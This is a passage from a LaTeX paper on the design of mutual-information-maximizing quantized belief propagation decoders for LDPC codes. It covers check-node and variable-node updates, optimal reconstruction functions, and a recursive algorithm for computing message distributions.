Prediction in this way is consistent with the true situation shown by Fig. \ref{fig: CN_update_channel}: $X$ is the binary summation of the channel input bits associated with $\mathbf{r}$ (determined by $sgn(\phi_c(r_i)), i = 1, 2, \ldots, d_c - 1$), and more incoming messages lead to more unreliability (i.e., larger $\dim(\mathbf{r})$ leads to larger $|\Phi_c(\mathbf{r})|$. This is the reason why we regard $|\phi_c(r)|$ as the unreliability.).
Denote
\begin{equation}\label{eqn: def of mc_A}
\mathcal{A} = \{a_1, a_2, \ldots, a_{|\mathcal{A}|}\} = \{\Phi_c(\mathbf{r}) : \mathbf{r} \in \mathcal{R}^{d_c - 1}\}.
\end{equation}
Elements in $\mathcal{A}$ are labelled to satisfy
\begin{equation}\label{eqn: order of A}
a_1 \succ a_2 \succ \cdots \succ a_{|\mathcal{A}|},
\end{equation}
where $\succ$ is a binary relation on $\mathbb{R}$ defined by
\begin{align*}
\alpha \succ \beta \iff &sgn(\alpha) > sgn(\beta) \text{~or~} \\
&(sgn(\alpha) = sgn(\beta) \text{~and~} \alpha < \beta)
\end{align*}
for $\alpha, \beta \in \mathbb{R}$.
Assuming $\Phi_c(\mathbf{r}) = a_i$, from \eqref{eqn: order of A} we know that it is more likely to predict $X$ to be 0 for smaller $i$ and to be 1 for larger $i$.
Thus, the listing order of \eqref{eqn: order of A} has a similar feature as the listing order of \eqref{eqn: LLR increasing}.
Let $A$ be a random variable taking values from $\mathcal{A}$.
We have
\begin{equation}\label{eqn: prob A|X}
P_{A|X}(a_i|x) = \sum_{\mathbf{r} \in \mathcal{R}^{d_c - 1}, \Phi_c(\mathbf{r}) = a_i} P_{\mathbf{R} | X}(\mathbf{r} | x),
\end{equation}
where $1 \leq i \leq |\mathcal{A}|$, and $P_{\mathbf{R} | X}(\mathbf{r} | x)$ is given by \eqref{eqn: joint P_R|X}.
Third, based on $\mathcal{A}$ and $P_{A|X}$, we can apply the general DP method proposed in \cite{he2019dynamicISIT} to find an SDQ
\begin{equation}\label{eqn: def of Lambda_c}
\Lambda_c = \{\lambda_0 = 0, \lambda_1, \ldots, \lambda_{|\mathcal{S}|-1}, \lambda_{|\mathcal{S}|} = |\mathcal{A}|\}: \mathcal{A} \to \mathcal{S}
\end{equation}
to maximize $I(X; S)$ (in the sense that the labelling of elements in $\mathcal{A}$ is fixed and given by \eqref{eqn: order of A} and $\Lambda_c$ is an SDQ).
We also use $\Lambda_c$ to generate the threshold set (TS) $\Gamma_c$ given by
\begin{equation}\label{eqn: def of Gamma_c}
\Gamma_c = \{\gamma_i:\, 1 \leq i < |\mathcal{S}|, \gamma_i = a_{\lambda_i}\}.
\end{equation}
Note that $\Gamma_c$ is equivalent to $\Lambda_c$ in quantizing $\mathcal{A}$ to $\mathcal{S}$.
Finally, the UF $Q_c: \mathcal{R}^{d_c - 1} \to \mathcal{S}$ is fully determined by $\phi_c, \Phi_c$, and $\Gamma_c$ in the following way given by
\begin{equation}\label{eqn: def of Q_c by Gamma}
Q_c(\mathbf{r}) =
\begin{cases}
0 & \Phi_c(\mathbf{r}) \succeq \gamma_1,\\
|\mathcal{S}| - 1 & \gamma_{|\mathcal{S}| - 1} \succ \Phi_c(\mathbf{r}),\\
i & \gamma_{i} \succ \Phi_c(\mathbf{r}) \succeq \gamma_{i+1}, 1 \leq i \leq |\mathcal{S}| - 2,
\end{cases}
\end{equation}
where $\succeq$ is a binary relation on $\mathbb{R}$ defined by
\[
\alpha \succeq \beta \iff \alpha \succ \beta \text{~or~} \alpha = \beta
\]
for $\alpha, \beta \in \mathbb{R}$.
In addition, instead of using \eqref{eqn: P(S|X)}, we can compute $P_{S|X}$ for the outgoing message $S$ in a simpler way based on $\Lambda_c$, given by
\begin{equation}\label{eqn: P_(S|X) lambda}
P_{S|X}(s|x) = \sum_{i = \lambda_s + 1}^{\lambda_{s+1}} P_{A|X}(a_i|x).
\end{equation}
Note that $Q_c$ is essentially determined by $\phi_c$, since $\Phi_c$ and $\Gamma_c$ can be computed accordingly after $\phi_c$ is given.
We will propose an efficient design for $\phi_c$ in Section \ref{section: MIM-QBP decoder at CN}.
After completing the design of $Q_c$ given by \eqref{eqn: def of Q_c by Gamma}, the storage complexity for storing $Q_c$ is $O(|\mathcal{R}| + |\mathcal{S}|)$ ($O(|\mathcal{R}|)$ for storing $\phi_c$ and $O(|\mathcal{S}|)$ for storing $\Gamma_c$), which is negligible since each element of $\phi_c$ and $\Gamma_c$ is a small integer in practice.
On the other hand, implementing the CN update shown by Fig. \ref{fig: CN_update_MIMQBP} for \emph{one} outgoing message has complexity $O(d_c + \lceil \log_2(|\mathcal{S}|) \rceil)$.
In particular, computing $\Phi_c(\mathbf{r})$ has complexity $O(d_c)$ (binary operations mainly including additions), which allows a binary tree-like parallel implementation; meanwhile, mapping $\Phi_c(\mathbf{r})$ to $S$ based on $\Gamma_c$ has complexity $O(\lceil \log_2(|\mathcal{S}|) \rceil)$ (binary comparison operations).
The simple implementation for mapping $\Phi_c(\mathbf{r})$ to $S$ indeed benefits from the use of SDQs in \eqref{eqn: def of Lambda_c} and \eqref{eqn: def of Gamma_c}.
This is the essential reason why we choose SDQs.
Instead, if an optimal DQ is used to map $\mathcal{A}$ to $\mathcal{S}$ in \eqref{eqn: def of Lambda_c}, we may in general require an additional table of size $|\mathcal{A}|$ to store this optimal DQ.
On the other hand, we may achieve better $I(X; S)$ and can reduce the computational complexity for mapping $\Phi_c(\mathbf{r})$ to $S$ from $O(\lceil \log_2(|\mathcal{S}|) \rceil)$ to $O(1)$.
\subsection{VN Update for MIM-QBP Decoding}\label{section: MIM-QBP decoding at VN}
The framework of VN update for MIM-QBP decoding is shown by Fig. \ref{fig: VN_update_MIMQBP}.
We implement the VN update with three steps: First, we use two RFs $\phi_v$ and $\phi_{ch}$ to map each incoming message symbol from CN and channel, respectively, to a specific number;
second, we use a function $\Phi_v$ to combine all these numbers corresponding to the incoming messages, given by \eqref{eqn: def of Phi_v};
third, we use an SDQ $\Gamma_v$ to map the obtained combined number to the outgoing message symbol.
In this way, the VN UF $Q_v$ is fully determined by $\phi_v, \phi_{ch}, \Phi_v,$ and $\Gamma_v$.
In the rest of this subsection, we show the principles for designing $\phi_v, \phi_{ch}, \Phi_v,$ and $\Gamma_v$ so as to result in a $Q_v$ that can maximize $I(X; R)$.
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_VN_update_MIMQBP.pdf}
\caption{Variable node update for mutual information-maximizing quantized belief propagation (MIM-QBP) decoding. The part enclosed by the dash square corresponds to the update operation in the VN of Fig. \ref{fig: node update}(b).}
\label{fig: VN_update_MIMQBP}
\end{figure}
First, we use an RF
\begin{equation}\label{eqn: def of phi_v}
\phi_v: \mathcal{S} \to \mathbb{D}
\end{equation}
to map each incoming message (from CN) realization $s \in \mathcal{S}$ to $\phi_v(s) \in \mathbb{D}$, and use another RF
\begin{equation}\label{eqn: def of phi_ch}
\phi_{ch}: \mathcal{L} \to \mathbb{D}
\end{equation}
to map the incoming message (from channel) realization $l \in \mathcal{L}$ to $\phi_{ch}(l) \in \mathbb{D}$.
For $s \in \mathcal{S}$, let
\[
LLR(s) = \log\left( P_{X|S}(0|s) / P_{X|S}(1|s) \right).
\]
For $l \in \mathcal{L}$, let
\[
LLR(l) = \log\left( P_{X|L}(0|l) / P_{X|L}(1|l) \right).
\]
A good choice for $\phi_v(s)$ and $\phi_{ch}(l)$ is that
\begin{align}\label{eqn: require phi_v}
\left\{
\begin{array}{l}
\phi_v(s) \propto LLR(s),\\
\phi_{ch}(l) \propto LLR(l).
\end{array}
\right.
\end{align}
In this way, we associate $\phi_v(s)$ and $\phi_{ch}(l)$ to the channel input bit $X$ in the following way:
$X$ is more likely to be 0 (resp. 1) for larger (resp. smaller) $\phi_v(s)$ and $\phi_{ch}(l)$.
An efficient design of $\phi_v$ and $\phi_{ch}$ will be presented in Section \ref{section: MIM-QBP decoder at VN}.
Second, we represent each incoming message realization $(l, \mathbf{s}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}$ by
\begin{equation}\label{eqn: def of Phi_v}
\Phi_v(l, \mathbf{s}) = \phi_{ch}(l) + \sum_{i = 1}^{\dim(\mathbf{s})} \phi_v(s_i).
\end{equation}
The channel input bit $X$ is more likely to be 0 (resp. 1) for larger (resp. smaller) $\Phi_v(l, \mathbf{s})$.
Denote
\begin{equation}\label{eqn: def of mc_B}
\mathcal{B} = \{b_1, b_2, \ldots, b_{|\mathcal{B}|}\} = \{\Phi_v(l, \mathbf{s}) : (l, \mathbf{s}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}\}.
\end{equation}
Elements in $\mathcal{B}$ are labelled to satisfy
\begin{equation}\label{eqn: order of B}
b_{1} > b_2 > \cdots > b_{|\mathcal{B}|}.
\end{equation}
Assuming $\Phi_v(l, \mathbf{s}) = b_i$, from \eqref{eqn: order of B} we know that $X$ is more likely be 0 (resp. 1) for larger (resp. smaller) $i$.
Thus, the listing order of \eqref{eqn: order of B} has a similar feature as the listing order of \eqref{eqn: LLR increasing}.
Let $B$ be a random variable taking values from $\mathcal{B}$.
We have
\begin{equation}\label{eqn: prob B|X}
P_{B|X}(b_i|x) = \sum_{(l, \mathbf{s}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}, \Phi_v(l, \mathbf{s}) = b_i} P_{L, \mathbf{S} | X}(l, \mathbf{s} | x),
\end{equation}
where $1 \leq i \leq |\mathcal{B}|$ and $P_{L, \mathbf{S} | X}(l, \mathbf{s} | x)$ is given by \eqref{eqn: joint P_L,S|X}.
Third, based on $\mathcal{B}$ and $P_{B|X}$, we can apply the general DP method proposed in \cite{he2019dynamicISIT} to find an SDQ
\begin{equation}\label{eqn: def of Lambda_v}
\Lambda_v = \{\lambda_0 = 0, \lambda_1, \ldots, \lambda_{|\mathcal{R}|-1}, \lambda_{|\mathcal{R}|} = |\mathcal{B}|\}: \mathcal{B} \to \mathcal{R}
\end{equation}
to maximize $I(X; R)$ (in the sense that the labelling of elements in $\mathcal{B}$ is fixed and given by \eqref{eqn: order of B} and $\Lambda_v$ is an SDQ).
We also use $\Lambda_v$ to generate the TS given by
\begin{equation}\label{eqn: def of Gamma_v}
\Gamma_v = \{\gamma_i:\, 1 \leq i < |\mathcal{R}|, \gamma_i = b_{\lambda_i}\}.
\end{equation}
Note that $\Gamma_v$ is equivalent to $\Lambda_v$ in quantizing $\mathcal{B}$ to $\mathcal{R}$.
Finally, the UF $Q_v: \mathcal{L} \times \mathcal{S}^{d_v - 1} \to \mathcal{R}$ is fully determined by $\phi_v, \phi_{ch}, \Phi_v$, and $\Gamma_v$ in the following way given by
\begin{equation}\label{eqn: def of Q_v by Gamma}
Q_v(l, \mathbf{s}) =
\begin{cases}
0 & \!\! \Phi_v(l, \mathbf{s}) \geq \gamma_1,\\
|\mathcal{R}| - 1 & \!\! \Phi_v(l, \mathbf{s}) < \gamma_{|\mathcal{R}| - 1},\\
i & \!\! \gamma_i > \Phi_v(l, \mathbf{s}) \geq \gamma_{i+1}, 1 \leq i \leq |\mathcal{R}| - 2.
\end{cases}
\end{equation}
In addition, instead of using \eqref{eqn: P(R|X)}, we can compute $P_{R|X}$ for the outgoing message $R$ in a simpler way based on $\Lambda_v$, given by
\begin{equation}\label{eqn: P_(R|X) lambda}
P_{R|X}(r|x) = \sum_{i = \lambda_r + 1}^{\lambda_{r+1}} P_{B|X}(b_i|x).
\end{equation}
Note that $Q_v$ is essentially determined by $\phi_v$ and $\phi_{ch}$, since $\Phi_v$ and $\Gamma_v$ can be computed accordingly after $\phi_v$ and $\phi_{ch}$ are given.
We will propose an efficient design for $\phi_v$ and $\phi_{ch}$ in Section \ref{section: MIM-QBP decoder at VN}.
After completing the design of $Q_v$ given by \eqref{eqn: def of Q_v by Gamma}, the storage complexity for storing $Q_v$ is $O(|\mathcal{S}| + |\mathcal{L}| + |\mathcal{R}|)$ ($O(|\mathcal{S}|)$ for storing $\phi_v$, $O(|\mathcal{L}|)$ for storing $\phi_{ch}$, and $O(|\mathcal{R}|)$ for storing $\Gamma_v$), which is negligible since each element of $\phi_v$, $\phi_{ch}$, and $\Gamma_v$ is a small integer in practice.
On the other hand, implementing the VN update shown by Fig. \ref{fig: VN_update_MIMQBP} for \emph{one} outgoing message has complexity $O(d_v + \lceil \log_2(|\mathcal{R}|) \rceil)$.
In particular, computing $\Phi_v(l, \mathbf{s})$ has complexity $O(d_v)$, which allows a binary tree-like parallel implementation; meanwhile, mapping $\Phi_v(l, \mathbf{s})$ to $R$ based on $\Gamma_v$ has complexity $O(\lceil \log_2(|\mathcal{R}|) \rceil)$.
The simple implementation for mapping $\Phi_c(l, \mathbf{s})$ to $R$ also benefits from the use of SDQs in \eqref{eqn: def of Lambda_v} and \eqref{eqn: def of Gamma_v}.
If we use the optimal DQ instead, we may in general require an additional table of size $|\mathcal{B}|$ to store this optimal DQ.
On the other hand, we may achieve better $I(X; R)$ and can reduce the computational complexity for mapping $\Phi_c(l, \mathbf{s})$ to $R$ from $O(\lceil \log_2(|\mathcal{R}|) \rceil)$ to $O(1)$.
\subsection{Remarks}\label{section: remarks at remove}
For each decoding iteration, the design of $Q_{e}: \mathcal{L} \times \mathcal{S}^{d_v} \to \mathcal{X}$ for the MIM-QBP decoding is quite similar to the design of $Q_v$ introduced in Section \ref{section: MIM-QBP decoding at VN}.
In particular, the same RFs $\phi_v$ and $\phi_{ch}$ can be used for the design of $Q_{e}$ and $Q_{v}$ for a given decoding iteration.
We thus ignore the details.
The MIM-QBP decoding leads to a very efficient decoder, namely the MIM-QBP decoder, which can be implemented based only on simple mappings and additions.
The mappings refer to the RFs (i.e., $\phi_c$, $\phi_v$, and $\phi_{ch}$) and the TSs (i.e., $\Gamma_c$ and $\Gamma_v$, derived from the RFs off-line), and the additions refer to the computation for $\Phi_c$ and $\Phi_v$.
Compared to the MIM-LUT decoder, the MIM-QBP decoder can greatly reduce the memory consumption.
Given the design noise standard deviation $\sigma_d$ (i.e., given $P_{L|X}$), the design of the MIM-QBP decoder is essentially determined by the design of the RFs $\phi_c$, $\phi_v$, and $\phi_{ch}$, which is to be carried out off-line.
We present an efficient design for $\phi_c$, $\phi_v$, and $\phi_{ch}$ in the next section.
\section{An Efficient Design of Reconstruction Functions for MIM-QBP Decoder}\label{section: design of MIM-QBP decoder}
We illustrated the general framework of the MIM-QBP decoding in Section \ref{section: MIM-QBP decoding}.
The resulting MIM-QBP decoder works similarly to those presented by \cite{Richardson01capacity, Lee05, Thorpe02}.
In fact, we borrow the terms ``reconstruction function", ``computational domain", ``unreliability", and ``threshold set" from \cite{Richardson01capacity, Lee05, Thorpe02}.
However, unlike the works of \cite{Richardson01capacity, Lee05, Thorpe02} which relied on manual optimization to design the decoders, we propose an efficient way to systematically design the RFs for the MIM-QBP decoder in this section.
As discussed in Section \ref{section: MIM-QBP decoding}, given the design noise standard deviation $\sigma_d$, the design of the MIM-QBP decoder is essentially determined by the design of the RFs $\phi_c$, $\phi_v$, and $\phi_{ch}$.
One possible solution to this design problem is to use certain search methods, such as the differential evolution \cite{Price06}, to search for good RFs based on the suggestions of \eqref{eqn: require phi_c} and \eqref{eqn: require phi_v} so as to maximize $I(X; S)$ and $I(X; R)$.
In this section, we propose a more efficient way to design the RFs.
That is, we first derive the closed-form optimal RFs, say $\phi_c^*, \phi_v^*$, and $\phi_{ch}^*$, which can maximize $I(X; S)$ and $I(X; R)$.
Then, since the optimal RFs work in the real number domain $\mathbb{R}$, we design the RFs by properly scaling the optimal RFs to an integer range of interest to realize fixed-point implementation.
\subsection{Design of $\phi_c$ at CN}\label{section: MIM-QBP decoder at CN}
Let $g(r) = P_{X|R}(0|r) - P_{X|R}(1|r)$ for $r \in \mathcal{R}$ and $g(\mathbf{r}) = P_{X|\mathbf{R}}(0 | \mathbf{r}) - P_{X|\mathbf{R}}(1 | \mathbf{r})$ for $\mathbf{r} \in \mathcal{R}^{d_c - 1}$.
For $r \in \mathcal{R}$, let
\begin{align}\label{eqn: best phi_c}
\phi_c^*(r) =
\begin{cases}
sgn(g(r)) \epsilon & |g(r)| = 1,\\
-sgn(g(r)) \log(|g(r)|) & \text{otherwise},
\end{cases}
\end{align}
where $\epsilon$ satisfies
\begin{align}\label{eqn: epsilon}
0 < \epsilon d_c < \min\big\{ &|\log(|g(\mathbf{r})|) - \log(|g(\mathbf{r}')|)|:\, \mathbf{r}, \mathbf{r}' \in \mathcal{R}^{d_c - 1}, \nonumber\\
&g(\mathbf{r}) \neq g(\mathbf{r}'), sgn(g(\mathbf{r})) = sgn(g(\mathbf{r}')) \neq 0 \big\}.
\end{align}
We use $\epsilon$ to ensure the condition of \eqref{eqn: require phi_c} to be valid for $\phi_c = \phi_c^*$.
\begin{theorem}\label{theorem: phi_c* is optimal}
If $\phi_c = \phi_c^*$, $Q_c$ defined by \eqref{eqn: def of Q_c by Gamma} can maximize $I(X; S)$ among all the functions mapping $\mathcal{R}^{d_c - 1}$ to $\mathcal{S}$.
\end{theorem}
\begin{IEEEproof}
See Appendix \ref{appendix: phi_c* is optimal}.
\end{IEEEproof}
Theorem \ref{theorem: phi_c* is optimal} indicates that $\phi_c^*$ is an optimal choice for $\phi_c$ in terms of maximizing $I(X; S)$.
Note that the function $f(x) = \log((e^x + 1) / (e^x - 1))$, which was used in \cite{Gallager62} for implementing the CN update for BP decoding, is closely related to $\phi_c^*$ in terms of $f(|LLR(r)|) = -\log(|g(r)|)$ and $sgn(LLR(r)) = sgn(g(r))$ for $ r \in \mathcal{R}$.
In addition, we handle all incoming messages by $\Phi_c$, which works similarly to the CN update based on $f(x)$ in \cite{Gallager62}.
This simple discussion implies a close connection between the CN updates of the BP decoding and the MIM-QBP decoding for the case of $\phi_c = \phi_c^*$.
Note that $\phi_c^*$ requires the computational domain $\mathbb{D}$ to be $\mathbb{R}$, while $\mathbb{D} = \mathbb{Z}$ is more preferable due to practical concerns.
In the following, we design $\phi_c: \mathcal{R} \to \mathbb{Z}$ based on $\phi_c^*$ to realize fixed-point implementation for the CN update.
\begin{corollary}\label{corollary: phi_c* is optimal}
Let $\eta$ be a positive number.
If $\phi_c = \eta \phi_c^*$, $Q_c$ defined by \eqref{eqn: def of Q_c by Gamma} can maximize $I(X; S)$ among all the functions mapping $\mathcal{R}^{d_c - 1}$ to $\mathcal{S}$.
\end{corollary}
\begin{IEEEproof}
Corollary \ref{corollary: phi_c* is optimal} can be proved in a way similarly to the proof of Theorem \ref{theorem: phi_c* is optimal}.
\end{IEEEproof}
Denote the maximum allowed absolute value of $\phi_c(\cdot)$ by $|\phi_{c}|_{max}$, which is an integer that can be set according to our needs.
Let
\[
|\phi_{c}^*|_{max} = \max\{| \phi_c^*(r) |: r \in \mathcal{R}, g(r) \neq 0\}.
\]
Note that $|\phi_{c}^*|_{max} > 0$ holds for a general case.
Then, inspired by Corollary \ref{corollary: phi_c* is optimal}, we design $\phi_c: \mathcal{R} \to \mathbb{Z}$ by scaling $\phi_c^*$ approximately (loosely speaking, by factors around $\eta = |\phi_{c}|_{max} / |\phi_{c}^*|_{max} $) to the valid integer range $[-|\phi_{c}|_{max}, |\phi_{c}|_{max}]$ given below
\begin{equation}\label{eqn: design of phi_c}
\phi_c(r) =
\begin{cases}
\begin{split}
&sgn(g(r)) \max\{1, \lfloor |\phi_c^*(r)| \times \\
&\quad\quad\, |\phi_{c}|_{max} / |\phi_{c}^*|_{max} + 0.5 \rfloor\}
\end{split}
& g(r) \neq 0,\\
|\phi_{c}|_{max} & g(r) = 0,
\end{cases}
\end{equation}
where for $g(r) \neq 0$, we make $\phi_c(r) \neq 0$ to ensure $sgn(\phi_c(r)) = sgn(g(r))$.
Meanwhile, for $g(r) = 0$, we use $\phi_c(r) = |\phi_{c}|_{max}$ instead of $\phi_c(r) = 0$ to ensure that only one bit is sufficient for representing the sign of $\phi_c$.
Moreover, according to our simulations, the situation of $g(r) = 0$ hardly occurs; meanwhile, $\phi_c(r) = |\phi_{c}|_{max}$ and $\phi_c(r) = 0$ do not incur degradation in the error rate performance.
Suppose that the decoder is allowed to use at most $q_c$ bits for the additions for computing each outgoing message (refer to $\Phi_c$ defined by \eqref{eqn: def of Phi_c}).
Note that one bit is needed for computing the sign of each outgoing message.
Then, $|\phi_{c}|_{max}$ is given by
\begin{equation}\label{eqn: phi_c max}
|\phi_{c}|_{max} = \lfloor (2^{q_c-1} - 1)/d_c \rfloor
\end{equation}
such that $\sum_{i = 1}^{d_c} |\phi_c(r_i)|$ does not overflow.
After the design of RFs given by \eqref{eqn: design of phi_c}, $\Phi_c$ defined by \eqref{eqn: def of Phi_c} is a function mapping $\mathcal{R}^{d_c - 1}$ to $\mathbb{Z}$ and the resulting integers can be represented by $q_c$ bits.
Moreover, we can compute $\mathcal{A}$ and $P_{A|X}$ in a much faster way than using \eqref{eqn: def of mc_A} and \eqref{eqn: prob A|X}, respectively, since the computation in the ways of \eqref{eqn: def of mc_A} and \eqref{eqn: prob A|X} can be a prohibitive task when $|\mathcal{R}|^{d_c-1}$ is large.
In the following, we propose a fast method to compute $\mathcal{A}$ and $P_{A|X}$.
Our idea is to handle the $d_c - 1$ incoming messages one by one.
Similar to \eqref{eqn: joint P_R|X}, for $k \geq 1$ and $\mathbf{R} \in \mathcal{R}^k$, we have
\begin{equation*}
P_{\mathbf{R}|X}(\mathbf{r}|x) = \left(\frac{1}{2}\right)^{\dim(\mathbf{r}) - 1} \sum_{\mathbf{x}: \oplus \mathbf{x} = x} \prod_{i = 1}^{\dim(\mathbf{r})} P_{R|X}(r_i|x_i),
\end{equation*}
which denotes the joint distribution of $k$ incoming messages (from VN) conditioned on the channel input bit.
In addition, denote
\begin{equation*
\mathcal{A}_k = \{a_{k, 1}, a_{k, 2}, \ldots, a_{k, |\mathcal{A}_k|}\} = \{\Phi_c(\mathbf{r}) : \mathbf{r} \in \mathcal{R}^{k}\},
\end{equation*}
and let $A_k$ be a random variable which takes values from $\mathcal{A}_k$.
Next, motivated by \eqref{eqn: P(R|0) - P(R|1)}, define $\delta_k^{+}(\cdot)$ and $\delta_k^{-}(\cdot)$ by
\begin{align*}
&\delta_k^{\pm}(a_{k, i})\\
=& \sum_{\mathbf{r} \in \mathcal{R}^{k}, \Phi_c(\mathbf{r}) = a_{k,i}} (P_{\mathbf{R} | X}(\mathbf{r} | 0) \pm P_{\mathbf{R} | X}(\mathbf{r} | 1))\\
=& P_{A_k|X}(a_{k, i}|0) \pm P_{A_k|X}(a_{k, i}|1).
\end{align*}
Moreover, motivated by $\Phi_c$ (see \eqref{eqn: def of Phi_c}), for $\alpha, \beta \in \mathbb{R}$, define $\diamond$ as a binary operator such that
\[
\alpha \diamond \beta = sgn(\alpha)sgn(\beta)(|\alpha| + |\beta|).
\]
We then have the following result.
\begin{proposition}\label{proposition: P(A_k|0) - P(A_k|1)}
For $k = 1$, we have
\begin{align}\label{eqn: P(A1|0) - P(A1|1)}
\mathcal{A}_k &= \{\phi_c(r):\, r \in \mathcal{R} \}, \text{~and~}\nonumber\\
\delta_k^{\pm}(a_{k, i}) &= \sum_{r \in \mathcal{R}, \phi_c(r) = a_{k, i}} (P_{R|X}(r|0) \pm P_{R|X}(r|1)).
\end{align}
For $k > 1$, we have
\begin{align}\label{eqn: P(A_k|0) - P(A_k|1)}
&\quad\quad\,\mathcal{A}_k = \{\phi_c(r) \diamond a_{k-1, j}:\, r \in \mathcal{R}, a_{k-1, j} \in \mathcal{A}_{k-1} \},\text{~and~}\nonumber\\
&\delta_k^{\pm}(a_{k, i}) = \nonumber\\
&\sum_{\substack{r \in \mathcal{R}, a_{k-1, j} \in \mathcal{A}_{k-1},\\ \phi_c(r) \diamond a_{k-1, j} = a_{k, i}}} \frac{1}{2} (P_{R|X}(r|0) \pm P_{R|X}(r|1)) \delta_{k-1}^{\pm}(a_{k-1, j}).
\end{align}
\end{proposition}
\begin{IEEEproof}
For $k = 1$, \eqref{eqn: P(A1|0) - P(A1|1)} holds obviously.
For $k > 1$, we have
\begin{align*}
\mathcal{A}_k &= \{\Phi_c(\mathbf{r}) : \mathbf{r} \in \mathcal{R}^{k}\}\\
&= \{\phi_c(r) \diamond \Phi_c(\mathbf{r}):\, r \in \mathcal{R}, \mathbf{r} \in \mathcal{R}^{k-1} \}\\
&= \{\phi_c(r) \diamond a_{k-1, j}:\, r \in \mathcal{R}, a_{k-1, j} \in \mathcal{A}_{k-1} \};
\end{align*}
meanwhile, we have
\begin{align*}
&\delta_k^{\pm}(a_{k, i})\nonumber\\
=& \sum_{\mathbf{r} \in \mathcal{R}^{k}, \Phi_c(\mathbf{r}) = a_{k,i}} (P_{\mathbf{R} | X}(\mathbf{r} | 0) \pm P_{\mathbf{R} | X}(\mathbf{r} | 1))\nonumber\\
=& \sum_{\mathbf{r} \in \mathcal{R}^{k}, \Phi_c(\mathbf{r}) = a_{k,i}} \left(\frac{1}{2}\right)^{k-1} \prod_{u = 1}^{k} (P_{R | X}(r_u | 0) \pm P_{R | X}(r_u | 1))\nonumber\\
=& \sum_{r_k \in \mathcal{R}} \frac{1}{2} (P_{R|X}(r_k|0) \pm P_{R|X}(r_k|1)) \times \\
&\sum_{\substack{\mathbf{r} \in \mathcal{R}^{k-1},\\ \phi_c(r) \diamond \Phi_c(\mathbf{r}) = a_{k,i}}} \left(\frac{1}{2}\right)^{k-2} \prod_{u = 1}^{k-1} (P_{R | X}(r_u | 0) \pm P_{R | X}(r_u | 1))\nonumber\\
=& \sum_{r_k \in \mathcal{R}} \frac{1}{2} (P_{R|X}(r_k|0) \pm P_{R|X}(r_k|1)) \times \\
&\quad\quad\quad\quad \sum_{\substack{\mathbf{r} \in \mathcal{R}^{k-1},\\ \phi_c(r) \diamond \Phi_c(\mathbf{r}) = a_{k,i}}} (P_{\mathbf{R} | X}(\mathbf{r} | 0) \pm P_{\mathbf{R} | X}(\mathbf{r} | 1))\nonumber\\
=& \sum_{r \in \mathcal{R}} \frac{1}{2} (P_{R|X}(r|0) \pm P_{R|X}(r|1)) \!\!\!\!\! \sum_{\substack{a_{k-1, j} \in \mathcal{A}_{k-1},\\ \phi_c(r) \diamond a_{k-1, j} = a_{k, i}}} \!\!\!\!\! \delta_{k-1}^{\pm}(a_{k-1, j}).
\end{align*}
This completes the proof.
\end{IEEEproof}
According to Proposition \ref{proposition: P(A_k|0) - P(A_k|1)}, we can compute $\mathcal{A}_1$, $\delta_{1}^{\pm}$, $\mathcal{A}_2$, $\delta_{2}^{\pm}$, $\ldots$, $\mathcal{A}_{d_c-1}$, $\delta_{d_c-1}^{\pm}$ sequentially.
Then, $\mathcal{A}$ and $P_{A|X}$ equal to $\mathcal{A}_{d_c-1}$ and $P_{A_{d_c-1}|X}$, respectively, where $P_{A_{d_c-1}|X}$ can be easily computed based on $\delta_{d_c-1}^{\pm}$.
We summarize the corresponding computation by Algorithm \ref{algo: compute P_A|X}.
Since $|\mathcal{A}_{k-1}|$ in line \ref{code: comp P(A|X)} of Algorithm \ref{algo: compute P_A|X} is upper-bounded by $2^{q_c}$, the complexity of Algorithm \ref{algo: compute P_A|X} is $O(d_c 2^{q_c} |\mathcal{R}|)$.
\begin{algorithm}[t!]
\caption{Computation of $\mathcal{A}$ and $P_{A|X}$}
\label{algo: compute P_A|X}
\begin{algorithmic}[1]
\REQUIRE $P_{R|X}, \phi_c, d_c$.
\ENSURE $\mathcal{A}$ and $P_{A|X}$.
\STATE Set $\mathcal{A}_k = \emptyset$ and $\delta_{k}^{\pm}(\cdot) = 0$ for $k = 1, 2, \ldots, d_c - 1$.
\FOR {$r \in \mathcal{R}$}
\STATE $\mathcal{A}_1 = \mathcal{A}_1 \cup \{\phi_c(r)\}$. $//$\textit{See \eqref{eqn: P(A1|0) - P(A1|1)}}
\STATE $\delta_{1}^{\pm}(\phi_c(r)) \,{+\!\!=}\, P_{R|X}(r|0) \pm P_{R|X}(r|1)$.
\ENDFOR
\FOR {$k = 2, 3, \ldots, d_c - 1$}
\FOR {$r \in \mathcal{R}, a_{k-1, j} \in \mathcal{A}_{k-1}$}\label{code: comp P(A|X)}
\STATE $a_{k, i} = \phi_c(r) \diamond a_{k-1, j}$.
\STATE $\mathcal{A}_k = \mathcal{A}_k \cup \{a_{k, i}\}$. $//$\textit{See \eqref{eqn: P(A_k|0) - P(A_k|1)}}
\STATE $\delta_{k}^{\pm}(a_{k, i}){+\!\!=} \frac{1}{2} (P_{R|X}(r|0) \pm P_{R|X}(r|1)) \delta_{k-1}^{\pm}(a_{k-1, j})$.
\ENDFOR
\ENDFOR
\FOR {$k = 1, 2, \ldots, d_c - 1$}
\FOR {$a_{k, i} \in \mathcal{A}_{k}$}
\STATE $P_{A_k|X}(a_{k, i} | 0) = (\delta_{k}^{+}(a_{k, i}) + \delta_{k}^{-}(a_{k, i}) ) / 2$.
\STATE $P_{A_k|X}(a_{k, i} | 1) = (\delta_{k}^{+}(a_{k, i}) - \delta_{k}^{-}(a_{k, i}) ) / 2$.
\ENDFOR
\ENDFOR
\STATE $\mathcal{A} = \mathcal{A}_{d_c-1}$.
\STATE $P_{A|X} = P_{A_{d_c - 1}|X}$.
\RETURN $\mathcal{A}$ and $P_{A|X}$.
\end{algorithmic}
\end{algorithm}
At this point, starting from $\mathcal{A}$ and $P_{A|X}$, we can compute the optimal SDQ $\Lambda_c$, the TS $\Gamma_c$, the UF $Q_c$, and the pmf $P_{S|X}$ given by \eqref{eqn: def of Lambda_c}, \eqref{eqn: def of Gamma_c}, \eqref{eqn: def of Q_c by Gamma}, and \eqref{eqn: P_(S|X) lambda} respectively.
Till now, the MIM-QBP decoder design at CN is completed.
We only need to store $\phi_c$ and $\Gamma_c$ for the MIM-QBP decoder, and can implement the CN update based on $Q_c$ to compute the messages passed from CN to VN.
